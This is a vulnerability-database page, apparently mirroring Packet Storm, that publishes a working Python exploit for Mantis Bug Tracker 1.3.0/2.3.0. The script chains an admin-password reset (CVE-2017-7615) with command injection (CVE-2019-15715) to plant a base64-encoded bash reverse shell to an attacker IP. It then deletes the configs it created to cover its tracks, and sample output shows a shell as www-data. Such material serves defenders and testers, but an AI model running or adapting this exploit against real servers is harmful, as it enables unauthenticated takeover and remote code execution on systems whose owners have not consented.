Lucene search
K

Mantis Bug Tracker 2.3.0 Remote Code Execution

🗓️ 18 Sep 2020 00:00:00Reported by Nikolas GeiselmanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 1307 Views

Mantis Bug Tracker 2.3.0 Remote Code Execution - Exploit achieves unauthenticated remote code execution by chaining two CVE's. First portion resets Administrator password (CVE-2017-7615), second portion takes advantage of a command injection vulnerability (CVE-2019-15715)

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for OS Command Injection in Mantisbt
23 Jan 202621:45
githubexploit
0day.today
Mantis Bug Tracker 1.3.0/2.3.0 - Password Reset Exploit
17 Apr 201700:00
zdt
FreeBSD
mantis -- multiple vulnerabilities
28 Aug 201900:00
freebsd
Circl
CVE-2017-7615
16 Apr 201700:00
circl
CNVD
MantisBT Arbitrary Password Reset Vulnerability
18 Apr 201700:00
cnvd
CNVD
MantisBT Command Injection Vulnerability
10 Oct 201900:00
cnvd
Check Point Advisories
Mantis Bug Tracker verify.php confirm_hash Remote Password Reset (CVE-2017-7615)
15 May 201700:00
checkpoint_advisories
CVE
CVE-2017-7615
16 Apr 201714:45
cve
CVE
CVE-2019-15715
9 Oct 201919:20
cve
Cvelist
CVE-2017-7615
16 Apr 201714:45
cvelist
Rows per page
`# Exploit Title: Mantis Bug Tracker 2.3.0 - Remote Code Execution (Unauthenticated)  
# Date: 2020-09-17  
# Vulnerability Discovery: hyp3rlinx, permanull  
# Exploit Author: Nikolas Geiselman  
# Vendor Homepage: https://mantisbt.org/  
# Software Link: https://mantisbt.org/download.php  
# Version: 1.3.0/2.3.0  
# Tested on: Ubuntu 16.04/19.10/20.04  
# CVE : CVE-2017-7615, CVE-2019-15715  
# References:   
# https://mantisbt.org/bugs/view.php?id=26091  
# https://www.exploit-db.com/exploits/41890  
  
'''  
  
This exploit chains together two CVE's to achieve unauthenticated remote code execution.  
The first portion of this exploit resets the Administrator password (CVE-2017-7615) discovered by John Page a.k.a hyp3rlinx, this portion was modified from the original https://www.exploit-db.com/exploits/41890.  
The second portion of this exploit takes advantage of a command injection vulnerability (CVE-2019-15715) discovered by 'permanull' (see references).   
  
Usage:  
Set netcat listener on port 4444  
Send exploit with "python exploit.py"  
  
Example output:  
  
kali@kali:~/Desktop$ python exploit.py   
Successfully hijacked account!  
Successfully logged in!  
Triggering reverse shell  
Cleaning up  
Deleting the dot_tool config.  
Deleting the relationship_graph_enable config.  
Successfully cleaned up  
  
  
kali@kali:~/Desktop$ nc -nvlp 4444  
listening on [any] 4444 ...  
connect to [192.168.116.135] from (UNKNOWN) [192.168.116.151] 43978  
bash: cannot set terminal process group (835): Inappropriate ioctl for device  
bash: no job control in this shell  
www-data@ubuntu:/var/www/html/mantisbt-2.3.0$ id  
id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
  
'''  
  
import requests  
from urllib import quote_plus  
from base64 import b64encode  
from re import split  
  
  
class exploit():   
def __init__(self):  
self.s = requests.Session()  
self.headers = dict() # Initialize the headers dictionary  
self.RHOST = "192.168.116.151" # Victim IP  
self.RPORT = "80" # Victim port  
self.LHOST = "192.168.116.135" # Attacker IP  
self.LPORT = "4444" # Attacker Port  
self.verify_user_id = "1" # User id for the target account  
self.realname = "administrator" # Username to hijack  
self.passwd = "password" # New password after account hijack  
self.mantisLoc = "/mantisbt-2.3.0" # Location of mantis in URL  
self.ReverseShell = "echo " + b64encode("bash -i >& /dev/tcp/" + self.LHOST + "/" + self.LPORT + " 0>&1") + " | base64 -d | /bin/bash" # Reverse shell payload  
  
  
def reset_login(self):  
# Request # 1: Grab the account update token  
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/verify.php?id=' + self.verify_user_id + '&confirm_hash='  
r = self.s.get(url=url,headers=self.headers)  
if r.status_code == 404:  
print "ERROR: Unable to access password reset page"  
exit()  
  
account_update_token = r.text.split('name="account_update_token" value=')[1].split('"')[1]  
  
# Request # 2: Reset the account password  
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/account_update.php'  
data = "account_update_token=" + account_update_token + "&password=" + self.passwd + "&verify_user_id=" + self.verify_user_id + "&realname=" + self.realname + "&password_confirm=" + self.passwd  
self.headers.update({'Content-Type':'application/x-www-form-urlencoded'})  
r = self.s.post(url=url, headers=self.headers, data=data)  
  
if r.status_code == 200:  
print "Successfully hijacked account!"  
  
  
def login(self):  
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"  
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'  
  
r = self.s.post(url=url,headers=self.headers,data=data)  
if "login_page.php" not in r.url:  
print "Successfully logged in!"  
  
  
def CreateConfigOption(self, option, value):  
# Get adm_config_set_token   
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_report.php'  
r = self.s.get(url=url, headers=self.headers)  
  
adm_config_set_token = r.text.split('name="adm_config_set_token" value=')[1].split('"')[1]  
  
# Create config  
data = "adm_config_set_token=" + adm_config_set_token + "&user_id=0&original_user_id=0&project_id=0&original_project_id=0&config_option=" + option + "&original_config_option=&type=0&value=" + quote_plus(value) + "&action=create&config_set=Create+Configuration+Option"  
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/adm_config_set.php'  
r = self.s.post(url=url, headers=self.headers, data=data)   
  
  
def TriggerExploit(self):  
print "Triggering reverse shell"  
  
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/workflow_graph_img.php'  
try:  
r = self.s.get(url=url,headers=self.headers, timeout=3)   
except:  
pass   
  
  
def Cleanup(self):  
# Delete the config settings that were created to send the reverse shell   
print "Cleaning up"  
  
cleaned_up = False  
  
cleanup = requests.Session()  
  
CleanupHeaders = dict()  
CleanupHeaders.update({'Content-Type':'application/x-www-form-urlencoded'})  
  
data = "return=index.php&username=" + self.realname + "&password=" + self.passwd + "&secure_session=on"  
url = 'http://' + self.RHOST + ":" + self.RPORT + self.mantisLoc + '/login.php'  
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)  
  
ConfigsToCleanup = ['dot_tool','relationship_graph_enable']  
  
for config in ConfigsToCleanup:  
# Get adm_config_delete_token  
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php"  
r = cleanup.get(url=url, headers=self.headers)  
test = split('<!-- Repeated Info Rows -->',r.text)   
  
# First element of the response list is garbage, delete it  
del test[0]   
  
cleanup_dict = dict()  
for i in range(len(test)):  
if config in test[i]:  
cleanup_dict.update({'config_option':config})  
cleanup_dict.update({'adm_config_delete_token':test[i].split('name="adm_config_delete_token" value=')[1].split('"')[1]})  
cleanup_dict.update({'user_id':test[i].split('name="user_id" value=')[1].split('"')[1]})  
cleanup_dict.update({'project_id':test[i].split('name="project_id" value=')[1].split('"')[1]})   
  
  
# Delete the config  
print "Deleting the " + config + " config."  
  
url = "http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_delete.php"  
data = "adm_config_delete_token=" + cleanup_dict['adm_config_delete_token'] + "&user_id=" + cleanup_dict['user_id'] + "&project_id=" + cleanup_dict['project_id'] + "&config_option=" + cleanup_dict['config_option'] + "&_confirmed=1"  
r = cleanup.post(url=url,headers=CleanupHeaders,data=data)  
  
#Confirm if actually cleaned up  
r = cleanup.get(url="http://" + self.RHOST + ":" + self.RPORT + self.mantisLoc + "/adm_config_report.php", headers=CleanupHeaders, verify=False)  
if config in r.text:  
cleaned_up = False  
else:  
cleaned_up = True  
  
if cleaned_up == True:  
print "Successfully cleaned up"  
else:  
print "Unable to clean up configs"  
  
  
exploit = exploit()  
exploit.reset_login()  
exploit.login()  
exploit.CreateConfigOption(option="relationship_graph_enable",value="1")  
exploit.CreateConfigOption(option="dot_tool",value= exploit.ReverseShell + ';')  
exploit.TriggerExploit()  
exploit.Cleanup()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation